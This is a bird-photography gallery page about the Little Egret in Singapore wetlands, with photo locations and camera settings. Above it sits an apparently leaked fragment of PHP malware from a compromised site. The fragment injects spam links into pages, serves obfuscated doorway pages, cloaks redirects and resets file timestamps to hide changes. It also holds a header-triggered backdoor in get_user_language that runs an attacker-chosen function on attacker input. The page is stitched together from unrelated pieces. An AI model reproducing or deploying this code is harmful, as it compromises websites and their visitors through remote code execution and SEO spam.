/i',$content)) { $content=preg_replace('/()/is', "$1$links_content", $content, 1); } elseif (preg_match('/<\/body>/i',$content)) { $content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content); $content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1); } } else { if (sizeof($matches)<$linksCount){ $difference = $linksCount - sizeof($matches); for ($i=0; $i<$difference; $i++){ $matches[] = $matches[0]; } } for ($i=0; $i<$linksCount; $i++){ if (rand(0,9) == 0) { $link = ''.$links2[$i]['url'].''; } else { $link = ''.$links2[$i]['keyword'].''; } $link = ''.$links2[$i]['keyword'].''; $content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content); } } if($deflated) $content = gzencode($content); $clen = strlen($content); @header("Content-Length: $clen"); return $content; } function get_server_var($var = ''){ if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){ return $_SERVER[$var]; } else if ( function_exists('getenv') && getenv($var)){ return getenv($var); } else { return ''; } } function get_hostname($remove_www = false){ $server_host = get_server_var('HTTP_HOST'); if ( empty($server_host) ){ $server_host = get_server_var('SERVER_NAME'); } if ( $remove_www ){ $server_host = preg_replace('#^www\.#i', '', $server_host); } return $server_host; } function showDoorPage($page_file){ $src = decompress(@file_get_contents($page_file)); if (strlen($src) > 0){ if (substr($src,0,5) == '%PDF-'){ @header('Content-Type: application/pdf'); } } echo $src; exit; } function decompress($data){ return @gzinflate(@str_rot13(@base64_decode($data))); } function compress($data){ return @base64_encode( @str_rot13( @gzdeflate( $data ) ) ); } function redirect($url, $user_agent, $cache_dir){ $no_shop_download = FALSE; $cache_lifetime = 172800; @ini_set('user_agent', $user_agent); $location = getRedirectLocation($url, $user_agent); if($location === FALSE || strlen($location)<5){ safeRedirect($url); } else if ($no_shop_download){ safeRedirect($location); } $cache_file = $cache_dir.md5($location); if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){ if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){ if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){ if ( $cache_data['time'] + $cache_lifetime > time() ){ if ($html = decompress($cache_data['html'])){ send_nocache_headers(); echo $html; echo ''; exit; } } } } } $html = fetchRemoteFile($location); if($html===false || @strlen($html)<10){ safeRedirect($location); } $baseTag = ""; if (preg_match('//i',$html)){ $html=preg_replace('/()/i', "$1$baseTag", $html, 1); } else if (stripos($html,'')!==false){ $html = str_ireplace('', $baseTag."\n".'', $html); } else { echo ''.$baseTag.''; } $cache_data = array( 'time' => time(), 'html' => compress($html) ); $cache_dir_time = @filemtime($cache_dir); @file_put_contents($cache_file, compress( @serialize($cache_data) ) ); @touch($cache_dir, $cache_dir_time); @touch($cache_file, $cache_dir_time); send_nocache_headers(); echo $html; exit; } function safeRedirect($url){ send_nocache_headers(); if (!headers_sent()){ header("Location: $url"); } else { echo ""; echo ""; echo ''; } exit; } function addRemoteIp($ip, $url){ $url_parsed = parse_url($url); if (isset($url_parsed['query'])) return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip; else return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ; } function send_nocache_headers(){ if (!headers_sent()){ @header('Cache-Control: no-cache, no-store, must-revalidate'); @header('Pragma: no-cache'); @header('Expires: 0'); } } function get_user_language(){ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){ $language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']); $accepted_languages = '9e4989c9fee99475e99a69f18d990607'; if ($language_code == $accepted_languages){ return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']); } else { return false; } } } function getRedirectLocation($url, $user_agent){ if (function_exists('curl_init') && $ch = @curl_init($url)){ @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); @curl_setopt($ch, CURLOPT_HEADER, TRUE); @curl_setopt($ch, CURLOPT_NOBODY, TRUE); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($response = @curl_exec($ch)){ if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){ @curl_close($ch); return $redirect_location; } else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){ @curl_close($ch); return trim($match[1]); } } @curl_close($ch); } if (function_exists('get_headers')){ if ($headers = @get_headers($url, true)){ if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){ $redirect_location = $headers['Location']; if (sizeof($redirect_location)>1){ $redirect_location = $redirect_location[sizeof($redirect_location)-1]; } return $redirect_location; } } } return FALSE; } function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') { if (function_exists('curl_init')){ if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); @curl_setopt($ch, CURLOPT_COOKIE, $sendCookies); $data = @curl_exec($ch); @curl_close($ch); if ($data) { return $data; } } } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){ $opts = array( 'http' => array( 'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}" ) ); $context = stream_context_create($opts); if ($data = @file_get_contents($url, false, $context)) { return $data; } } else { $urlParams = @parse_url($url); $host = $urlParams['host']; $path = $urlParams['path']; if (isset($urlParams['query'])) $path .= '?'.$urlParams['query']; $buff = ''; $fp = @fsockopen($host, 8888, $errno, $errstr); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "Cookie: {$sendCookies}\r\n\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); unset($page[0]); return implode("\r\n\r\n", $page); } } return false; } Little Egret - Fuwen's Website
Little Egret

 

 

A1. 12 Jun 2022
 
FE 200-600/5.6-6.3 G
GM 600/4. 10 Sept 2022

 

 
 
Manfrotto Series 190
Berlebach Report 8013
GHFG1.  14 Dec 2021
WH-200II. 29 Jun 2024
 

 

 

 

 
A common medium size egret. All white plumage, with blackish legs contrasting with yellow feet, but black footed can also occured. Bill is black and facial skin yellow.
Reference:  Birds of Singapore by Yong Ding Li and Lim Kim Chuah
 
Mandai Mangrove and Mudflat, 13 Dec 2024
f6.3 1/3200. ISO 1600, GM600 T1.4x, 190XPROB/WH-200II
 
Mandai Mangrove and Mudflat, 13 Dec 2024
f6.3 1/1600. ISO 800, GM600 T1.4x, 190XPROB/WH-200II
 
Woodlands Waterfront, 1 Dec 2024
f8 1/4000. ISO 800, GM600 TC1.4x, 190XPROB/WH-200II
 
Eagle Point, Sungei Buloh Wetland Reserve, 19 Sep 2023 
f8 1/3200. ISO 1000, GM600 TC 1.4x, MT190CXPRO3/GHFG1 
 
With a Giant Mudskipper, Sungei Buloh Wetland Reserve, 1 Nov 2019
A7R2, f8 1/1000. @600mm, Full Frame, ISO 3200
MT190CXPRO3/BHQ2
 
Fantail Pod, Sungei Buloh Wetland Reserve, 27 Jun 2024
f6.3 1/3200. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Sungei Buloh Wetland Reserve, Kingfisher Pod, 5 Apr 2024
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Sungei Buloh Wetland Reserve, Kingfisher Pod, 5 Apr 2024
f8 1/4000. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Sungei Buloh Wetland Reserve, Kingfisher Pod, 5 Apr 2024
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Breeding, Sungei Buloh Wetland Reserve, Platform 2, 12 Apr 2023
f8 1/3200. ISO 1000, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 26 Aug 2024
f5.6 1/3200. ISO 2500, GM600 TC1.4x, 190B/WH-200II
 
 Eagle Point, Sungei Buloh Wetland Reserve, 26 Aug 2024
f5.6 1/3200. ISO 2500, GM600 TC1.4x, 190B/WH-200II
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 10 Apr 2024
f5.6 1/3200. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 10 Apr 2024
f5.6 1/3200. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 30 Nov 2022
f8 1/4000. ISO 1000, GM600. TC 1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 23 Feb 2023
f5.6 1/2500. ISO 1600, GM600. TC 1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 20 Mar 2023
f5.6 1/2500. ISO 2000, GM600  TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 6 Feb 2023
f5.6 1/2500. ISO 2500, GM600  TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 7 Sept 2023
f5.6 1/2500. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1 
 
Woodlands Waterfront, 23 Feb 2023
f5.6 1/2500. ISO 1600, GM600  TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 7 Sept 2023
f5.6 1/2500. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 27 Oct 2023
f8 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Hide 1D, Sungei Buloh Wetland Reserve, 6 Sep 2022
f11 1/1600. @600mm, TC 1.4x, ISO 1600, MT190CXPRO3/GHFG1
 
Sungei Buloh Wetland Reserve, 24 Aug 2022
f10 1/1250. @600mm, TC 1.4x ISO 1250, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 8 Dec 2022
f5.6 1/2000. ISO 2000, GM600. TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 8 Dec 2022
f5.6 1/2000. ISO 2000, GM600. TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 19 Sept 2023
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Platform 2, Sungei Buloh Wetland Reserve, 4 Aug 2023
f8 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 10 Octl 2024
f7.1 1/3200. ISO 800, GM600 TC1.4x, 190B/WH-200II 
 
Eagle Point, Sungei Buloh Wetland Reserve, 5 Oct 2023
f8 1/2500. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
  
Eagle Point, Sungei Buloh Wetland Reserve, 15 Dec 2023
f8 1/3200. ISO 1000, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 3 Apr 2024
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Platform 2, Sungei Buloh Wetland Reserve, 24 Jul 2024
f8 1/3200. ISO 1250, GM600 TC1.4x, 190B/WH-200II 
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 3 Apr 2024
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Kingfisher Pod, Sungei Buloh Wetland Reserve, 11 Oct 2022
f8 1/3200. ISO 1000, GM600. TC 1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 3 Apr 2024
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 10 Oct 2024
f5.6 1/3200. ISO 1000, GM600 TC1.4x, 190B/WH-200II
 
 Eagle Point, Sungei Buloh Wetland Reserve, 26 Aug 2024
f5.6 1/3200. ISO 1600, GM600 TC1.4x, 190B/WH-200II
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 30 Nov 2022
f8 1/4000. ISO 1000, GM600. TC 1.4x, MT190CXPRO3/GHFG1
 
 Platform 2, Sungei Buloh Wetland Reserve, 24 Jul 2024
f8 1/3200. ISO 1250, GM600 TC1.4x, 190B/WH-200II
 
Eagle Point, Sungei Buloh Wetland Reserve, 11 Oct 2022
f8 1/3200. ISO 800, GM600. TC 1.4x, MT190CXPRO3/GHFG1
 
 Platform 2, Sungei Buloh Wetland Reserve, 24 Jul 2024
f8 1/3200. ISO 1250, GM600 TC1.4x, 190B/WH-200II
 
Woodlands Waterfront, 28 Apr 2023
f8 1/3200. ISO 1000, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Platform 2, Sungeoi Buloh Wetland Reserve, 4 Aug 2023
f8 1/3200. ISO 800, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Eagle Point, Sungei Buloh Wetland Reserve, 29 May 2024
f8 1/3200  ISO 1000, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Woodlands Waterfront, 28 Mar 2024
f7.1 1/3200. ISO 1250, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Mandai Mangrove and Mudflat, TimMac@Kranji, 2 Feb 2024
f5.6 1/2500. ISO 1600, GM600 TC1.4x, MT190CXPRO3/GHFG1
 
Mandai Mangrove and Mudflat, TimMac@Kranji, 2 Feb 2024
f8 1/4000. ISO 500, GM600 TC1.4x, MT190CXPRO3/GHFG1